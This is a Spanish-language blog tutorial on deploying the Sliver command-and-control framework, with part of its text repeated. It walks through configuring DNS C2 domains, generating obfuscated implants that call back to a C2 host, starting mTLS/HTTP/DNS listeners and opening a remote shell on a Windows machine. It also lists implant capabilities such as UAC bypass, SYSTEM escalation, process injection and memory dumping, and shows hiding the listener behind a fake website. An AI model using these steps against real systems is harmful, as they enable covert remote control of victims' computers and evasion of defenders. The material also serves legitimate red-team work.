Sliver es un sistema de Comando y Control (C2) creado para pentesters, redteamers y APTs avanzadas. Genera implants o implantes (slivers) que pueden ejecutarse en prácticamente todas las arquitecturas, y administrar estas conexiones de forma segura a través de un servidor central.
Sliver admite varios protocolos de callback, incluidos DNS, TCP y HTTP(S), para simplificar la conexión callback, incluso cuando esos molestos equipos azules bloquean dominios. También es posible tener múltiples operadores (jugadores) al mismo tiempo al mando de tu ejército de slivers.
¿Por qué Sliver y no Cobalt Strike, Metasploit u otros sistemas C2?
Sliver tiene muchas características que otras herramientas C2 no tienen, como:
- Generación de código dinámico con ofuscación por binario (en tiempo de compilación).
- Inyección de procesos local o remota.
- Asegura las conexiones cifradas del implante al servidor C2 (mTLS, HTTP(S) y DNS) y anti-anti-anti-forensics.
- Migración de procesos de Windows y manipulación de tokens de usuario.
- Soporta múltiples operadores controlando simultáneamente sus implantes.
- Autocompletado. Registro de auditoría completo en el lado del servidor.
- Múltiples y extensibles protocolos egress.
- Integración con Let's Encrypt.
- Ejecución en memoria .NET assembly.
- DNS Canary Blue Team Detection
- Es completamente de código abierto (licencia GPLv3).
Instalación del servidor
El servidor es compatible con Linux, Windows y MacOS. Sin embargo, se recomienda ejecutar el servidor en un host Linux porque algunas funciones pueden ser más difíciles de ejecutar en un servidor Windows o MacOS, aunque todas las funciones básicas integradas deberían funcionar bien.
Hay dos opciones, descargar la última versión para nuestra plataforma y simplemente ejecutar el binario o compilarlo nosotros mismos desde la fuente:
1. https://github.com/BishopFox/sliver/releases
2. https://github.com/BishopFox/sliver/wiki/Compile-From-Source
La primera vez que ejecutemos el servidor tendrá que desempaquetar algunos activos, lo que puede demorar un minuto o dos, los inicios posteriores deben ser más rápidos.
NOTA: Sliver tiene dos dependencias externas para características opcionales: MinGW y Metasploit. Para habilitar los payloads de Shellcode/staged necesitaremos instalar MinGW. Para habilitar las integraciones de MSF necesitaremos que Metasploit esté instalado.
El Docker de Sliver está diseñado principalmente para ejecutar pruebas unitarias, pero incluye tanto MinGW como Metasploit. Si planeas ejecutar el servidor utilizando Docker, deberás reenviar los puertos TCP correspondientes (por ejemplo, 80, 443, 31337).
DNS C2
Se recomienda realizar los siguientes pasos para configurar un dominio para DNS C2 (y DNS canary). Se puede usar cualquier proveedor de DNS que se desee siempre y cuando se configuren los registros correctamente. También se recomienda establecer un TTL de ~5 minutos para cada registro.
- Crear un registro A para example.com que señale la dirección IP del servidor Sliver (o redirector).
- Crear un registro A para un subdominio ns1 (es decir, ns1.example.com) que apunte a la dirección IP del servidor Sliver (o redirector).
- Crear un registro NS con un subdominio arbitrario, por ejemplo 1 (es decir, 1.example.com) que es administrado por ns1.example.com.
Ahora puede usar 1.example.com como su dominio DNS C2, por ejemplo. generar --dns 1.example.com
La configuración final debe verse como para el dominio lil-peep.rip:
DNS Canaries
Los DNS Canaries son dominios únicos para cada binario que se insertan opcionalmente durante el proceso de ofuscación de strings. Estos dominios no son realmente utilizados por el código del implante y no están deliberadamente ocultos para que aparezcan si alguien ejecuta strings en el implante. Si estos dominios se resuelven alguna vez (y se tiene un detector de dns en ejecución), se recibirá una alerta que indicará qué un binario específico fue descubierto por un blue team.
Ejemplo de comando de generación con canarios, debemos de asegurarnos de usar el FQDN:
Debemos asegurarnos de tener un listener DNS en ejecución y usar el FQDN:
Se pueden ver los canarios generados previamente con el comando canaries.
Generando implantes
La generación de implantes se realiza mediante el comando generate, debemos especificar al menos un endpoint C2 con --mtls, --http o --dns. Tenemos que tener en cuenta que cuando un implante intente conectarse a un endpoint especificado con --http, intentará con HTTPS y luego con HTTP (si falla HTTPS). Se recomienda utilizar TLS mutuo (--mtls) siempre que sea posible. También se puede especificar un directorio de salida con --save (de forma predeterminada el implante se guardará en el directorio de trabajo actual).
IMPORTANTE: El proceso de ofuscación de símbolos puede tardar más de 15 minutos en completarse, según los recursos de la CPU de la máquina. Se puede omitir este paso con --skip-symbols pero una gran cantidad de información incompleta terminará en los binarios que se generan. Solo se debe usar esta bandera si estamos jugando, o si no importa el sigilo.
Los implantes de Sliver son multiplataforma, se puede cambiar el objetivo del compilador con la marca --os:
El servidor también asignará nombres de código a cada binario generado, es decir, FANTASTIC_STORY-TELLING.exe, podremos cambiar el nombre del archivo a cualquier cosa que necesite, pero estos nombres de código seguirán identificando de forma única el binario generado (se insertan en tiempo de compilación). También se pueden ver todos los archivos binarios de implantes generados anteriormente con el comando slivers:
Si necesitamos volver a descargar un implante generado previamente, podremos el comando regenerate:
Obtención de shells
Antes de poder capturar una shell, primero deberemos iniciar un listener. Podemos utilizar los comandos mtls, http y dns para iniciar listeners para cada protocolo (http también se usa para HTTPS). Podemos usar el comando jobs para ver y administrar los listeners que se ejecutan en segundo plano.
En este ejemplo, estamos utilizando Mutual TLS, los certificados necesarios para configurar y asegurar esta conexión ya se han generado en segundo plano y el par de certificados de cliente se integró en el implante en el momento de la compilación. Así que para obtener una shell solo tenemos que ejecutar el binario en el destino.
Dominios / Protocolos Múltiples
Podemos especificar múltiples dominios y protocolos múltiples durante el proceso de generación. En este momento, Sliver intentará usar los productos de mayor rendimiento primero (MTLS -> HTTP (S) -> DNS) usando dominios / protocolos posteriores cuando las conexiones fallan.
Eventualmente, agregaremos una función para especificar manualmente los protocolos de respaldo, o se puede agregar esta función y enviar un PR :).
HTTP(S) C2
Sliver admite C2 compatibles con proxy a través de HTTP y HTTPS. Sin embargo, dado que Sliver no depende de la capa SSL/TLS para la seguridad, estos protocolos se consideran algo "sinónimos".
Generar el Sliver (implant)
Los implantes de Sliver se compilan con un dominio de servidor baked-in (pero ofuscado, por supuesto) al que volverán a contactar. Para generar un implante que se comunica con un servidor en example.com, debemos ejecutar lo siguiente:
Iniciar el Listener
Contenido estático
Sliver puede instalar un sitio web en su listener HTTP(S) para que el servidor parezca más legítimo. Por ejemplo, podríamos poner una página de índice de IIS predeterminada e imitar a un servidor de aspecto normal en caso de que alguien venga a husmear. Se puede gestionar el contenido estático utilizando el comando websites.
Certificados SSL/TLS
El servicio de listener http también admite certificados TLS automáticos a través de Let's Encrypt, que pueden habilitarse utilizando el indicador --lets-encrypt.
Más info en la wiki y el repo del proyecto:
https://github.com/BishopFox/sliver
Sliver admite varios protocolos de callback, incluidos DNS, TCP y HTTP(S), para simplificar la conexión callback, incluso cuando esos molestos equipos azules bloquean dominios. También es posible tener múltiples operadores (jugadores) al mismo tiempo al mando de tu ejército de slivers.
¿Por qué Sliver y no Cobalt Strike, Metasploit u otros sistemas C2?
Sliver tiene muchas características que otras herramientas C2 no tienen, como:
- Generación de código dinámico con ofuscación por binario (en tiempo de compilación).
- Inyección de procesos local o remota.
- Asegura las conexiones cifradas del implante al servidor C2 (mTLS, HTTP(S) y DNS) y anti-anti-anti-forensics.
- Migración de procesos de Windows y manipulación de tokens de usuario.
- Soporta múltiples operadores controlando simultáneamente sus implantes.
- Autocompletado. Registro de auditoría completo en el lado del servidor.
- Múltiples y extensibles protocolos egress.
- Integración con Let's Encrypt.
- Ejecución en memoria .NET assembly.
- DNS Canary Blue Team Detection
- Es completamente de código abierto (licencia GPLv3).
Instalación del servidor
El servidor es compatible con Linux, Windows y MacOS. Sin embargo, se recomienda ejecutar el servidor en un host Linux porque algunas funciones pueden ser más difíciles de ejecutar en un servidor Windows o MacOS, aunque todas las funciones básicas integradas deberían funcionar bien.
Hay dos opciones, descargar la última versión para nuestra plataforma y simplemente ejecutar el binario o compilarlo nosotros mismos desde la fuente:
1. https://github.com/BishopFox/sliver/releases
2. https://github.com/BishopFox/sliver/wiki/Compile-From-Source
La primera vez que ejecutemos el servidor tendrá que desempaquetar algunos activos, lo que puede demorar un minuto o dos, los inicios posteriores deben ser más rápidos.
NOTA: Sliver tiene dos dependencias externas para características opcionales: MinGW y Metasploit. Para habilitar los payloads de Shellcode/staged necesitaremos instalar MinGW. Para habilitar las integraciones de MSF necesitaremos que Metasploit esté instalado.
El Docker de Sliver está diseñado principalmente para ejecutar pruebas unitarias, pero incluye tanto MinGW como Metasploit. Si planeas ejecutar el servidor utilizando Docker, deberás reenviar los puertos TCP correspondientes (por ejemplo, 80, 443, 31337).
DNS C2
Se recomienda realizar los siguientes pasos para configurar un dominio para DNS C2 (y DNS canary). Se puede usar cualquier proveedor de DNS que se desee siempre y cuando se configuren los registros correctamente. También se recomienda establecer un TTL de ~5 minutos para cada registro.
- Crear un registro A para example.com que señale la dirección IP del servidor Sliver (o redirector).
- Crear un registro A para un subdominio ns1 (es decir, ns1.example.com) que apunte a la dirección IP del servidor Sliver (o redirector).
- Crear un registro NS con un subdominio arbitrario, por ejemplo 1 (es decir, 1.example.com) que es administrado por ns1.example.com.
Ahora puede usar 1.example.com como su dominio DNS C2, por ejemplo. generar --dns 1.example.com
La configuración final debe verse como para el dominio lil-peep.rip:
DNS Canaries
Los DNS Canaries son dominios únicos para cada binario que se insertan opcionalmente durante el proceso de ofuscación de strings. Estos dominios no son realmente utilizados por el código del implante y no están deliberadamente ocultos para que aparezcan si alguien ejecuta strings en el implante. Si estos dominios se resuelven alguna vez (y se tiene un detector de dns en ejecución), se recibirá una alerta que indicará qué un binario específico fue descubierto por un blue team.
Ejemplo de comando de generación con canarios, debemos de asegurarnos de usar el FQDN:
sliver > generate --http foobar.com --canary 1.example.com.Debemos asegurarnos de tener un listener DNS en ejecución y usar el FQDN:
sliver > dns --domains 1.example.com.
[*] Starting DNS listener with parent domain(s) [1.example.com.] ...
[*] Successfully started job #1Se pueden ver los canarios generados previamente con el comando canaries.
Generando implantes
La generación de implantes se realiza mediante el comando generate, debemos especificar al menos un endpoint C2 con --mtls, --http o --dns. Tenemos que tener en cuenta que cuando un implante intente conectarse a un endpoint especificado con --http, intentará con HTTPS y luego con HTTP (si falla HTTPS). Se recomienda utilizar TLS mutuo (--mtls) siempre que sea posible. También se puede especificar un directorio de salida con --save (de forma predeterminada el implante se guardará en el directorio de trabajo actual).
sliver > generate --mtls example.com --save Pruebas
[*] Generating new windows/amd64 Sliver binary
[*] Symbol obfuscation is enabled, this process takes about 15 minutes
[*] Build completed in 00:03:55
[*] Sliver binary saved to: /tools/redteam/4.C2/sliver/RELEASES/Pruebas/JEWISH_TWIG.exeIMPORTANTE: El proceso de ofuscación de símbolos puede tardar más de 15 minutos en completarse, según los recursos de la CPU de la máquina. Se puede omitir este paso con --skip-symbols pero una gran cantidad de información incompleta terminará en los binarios que se generan. Solo se debe usar esta bandera si estamos jugando, o si no importa el sigilo.
Los implantes de Sliver son multiplataforma, se puede cambiar el objetivo del compilador con la marca --os:
sliver > generate --mtls example.com --save Pruebas --skip-symbols --os Windows
[*] Generating new windows/amd64 Sliver binary
[!] Symbol obfuscation is disabled
[*] Build completed in 00:00:04
[*] Sliver binary saved to: /tools/redteam/4.C2/sliver/RELEASES/Pruebas/FANTASTIC_STORY-TELLING.exeEl servidor también asignará nombres de código a cada binario generado, es decir, FANTASTIC_STORY-TELLING.exe, podremos cambiar el nombre del archivo a cualquier cosa que necesite, pero estos nombres de código seguirán identificando de forma única el binario generado (se insertan en tiempo de compilación). También se pueden ver todos los archivos binarios de implantes generados anteriormente con el comando slivers:
sliver > slivers
Name OS/Arch Debug Format
==== ======= ===== ======
FANTASTIC_STORY-TELLING windows/amd64 false EXECUTABLE
JEWISH_TWIG windows/amd64 false EXECUTABLE
NEAT_PRODUCT windows/amd64 false EXECUTABLESi necesitamos volver a descargar un implante generado previamente, podremos el comando regenerate:
sliver > regenerate --save Pruebas NEAT_PRODUCT
[*] Sliver binary saved to: /tools/redteam/4.C2/sliver/RELEASES/Pruebas/NEAT_PRODUCT.exeObtención de shells
Antes de poder capturar una shell, primero deberemos iniciar un listener. Podemos utilizar los comandos mtls, http y dns para iniciar listeners para cada protocolo (http también se usa para HTTPS). Podemos usar el comando jobs para ver y administrar los listeners que se ejecutan en segundo plano.
sliver > mtls
[*] Starting mTLS listener ...
[*] Successfully started job #1
sliver > jobs
ID Name Protocol Port
== ==== ======== ====
1 mTLS tcp 8888
En este ejemplo, estamos utilizando Mutual TLS, los certificados necesarios para configurar y asegurar esta conexión ya se han generado en segundo plano y el par de certificados de cliente se integró en el implante en el momento de la compilación. Así que para obtener una shell solo tenemos que ejecutar el binario en el destino.
[*] Session #1 JEWISH_TWIG - 192.168.122.229:49992 (DESKTOP-CR8PTQ1) - windows/amd64
[*] Session #2 FANTASTIC_STORY-TELLING - 192.168.122.229:49995 (DESKTOP-CR8PTQ1) - windows/amd64
sliver > use 1
[*] Active sliver JEWISH_TWIG (1)sliver (JEWISH_TWIG) > help
Commands:
=========
clear clear the screen
exit exit the shell
help use 'help [command]' for command help
Generic:
========
background Background an active session
canaries List previously generated canaries
dns Start a DNS listener
generate Generate a sliver binary
generate-egg Generate an egg shellcode (sliver stager)
generate-profile Generate Sliver from a profile
http Start an HTTP listener
https Start an HTTPS listener
jobs Job control
mtls Start an mTLS listener
new-profile Save a new sliver profile
profiles List existing profiles
regenerate Regenerate target sliver
sessions Session management
slivers List old Sliver builds
use Switch the active sliver
websites Host a static file on a website (used with HTTP C2)
Multiplayer:
============
kick-player Kick a player from the server
multiplayer Enable multiplayer mode
new-player Create a new player config file
players List players
Sliver - Windows:
=================
elevate Spawns a new sliver session as an elevated process (UAC bypass/Windows Only)
execute-assembly Loads and executes a .NET assembly in a child process (Windows Only)
getsystem Spawns a new sliver session as the NT AUTHORITY\SYSTEM user (Windows Only)
impersonate Run a new process in the context of the designated user (Windows Only)
migrate Migrate into a remote process
Sliver:
=======
cat Dump file to stdout
cd Change directory
download Download a file
execute-shellcode Executes the given shellcode in the sliver process
getgid Get Sliver process GID
getpid Get Sliver pid
getuid Get Sliver process UID
info Get info about sliver
kill Kill a remote sliver process
ls List current directory
mkdir Make a directory
msf Execute an MSF payload in the current process
msf-inject Inject an MSF payload into a process
ping Test connection to Sliver (does not use ICMP)
procdump Dump process memory
ps List remote processes
pwd Print working directory
rm Remove a file or directory
shell Start an interactive shell
upload Upload a file
whoami Get Sliver user execution contextsliver (JEWISH_TWIG) > whoami
DESKTOP-CR8PTQ1\john
sliver (JEWISH_TWIG) > shell
? This action is bad OPSEC, are you an adult? Yes
[*] Opening shell tunnel (EOF to exit) ...
PS C:\Users\john\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\TempState>Dominios / Protocolos Múltiples
Podemos especificar múltiples dominios y protocolos múltiples durante el proceso de generación. En este momento, Sliver intentará usar los productos de mayor rendimiento primero (MTLS -> HTTP (S) -> DNS) usando dominios / protocolos posteriores cuando las conexiones fallan.
sliver > generate --mtls example.com --http foobar.com --dns 1.lil-peep.ripEventualmente, agregaremos una función para especificar manualmente los protocolos de respaldo, o se puede agregar esta función y enviar un PR :).
HTTP(S) C2
Sliver admite C2 compatibles con proxy a través de HTTP y HTTPS. Sin embargo, dado que Sliver no depende de la capa SSL/TLS para la seguridad, estos protocolos se consideran algo "sinónimos".
Generar el Sliver (implant)
Los implantes de Sliver se compilan con un dominio de servidor baked-in (pero ofuscado, por supuesto) al que volverán a contactar. Para generar un implante que se comunica con un servidor en example.com, debemos ejecutar lo siguiente:
sliver > generate --http example.comIniciar el Listener
sliver > http
sliver > httpsContenido estático
Sliver puede instalar un sitio web en su listener HTTP(S) para que el servidor parezca más legítimo. Por ejemplo, podríamos poner una página de índice de IIS predeterminada e imitar a un servidor de aspecto normal en caso de que alguien venga a husmear. Se puede gestionar el contenido estático utilizando el comando websites.
websites --website fake-blog --web-path / --content ./index.html addCertificados SSL/TLS
El servicio de listener http también admite certificados TLS automáticos a través de Let's Encrypt, que pueden habilitarse utilizando el indicador --lets-encrypt.
sliver > https --domain example.com --lets-encryptMás info en la wiki y el repo del proyecto:
https://github.com/BishopFox/sliver
Comentarios
Publicar un comentario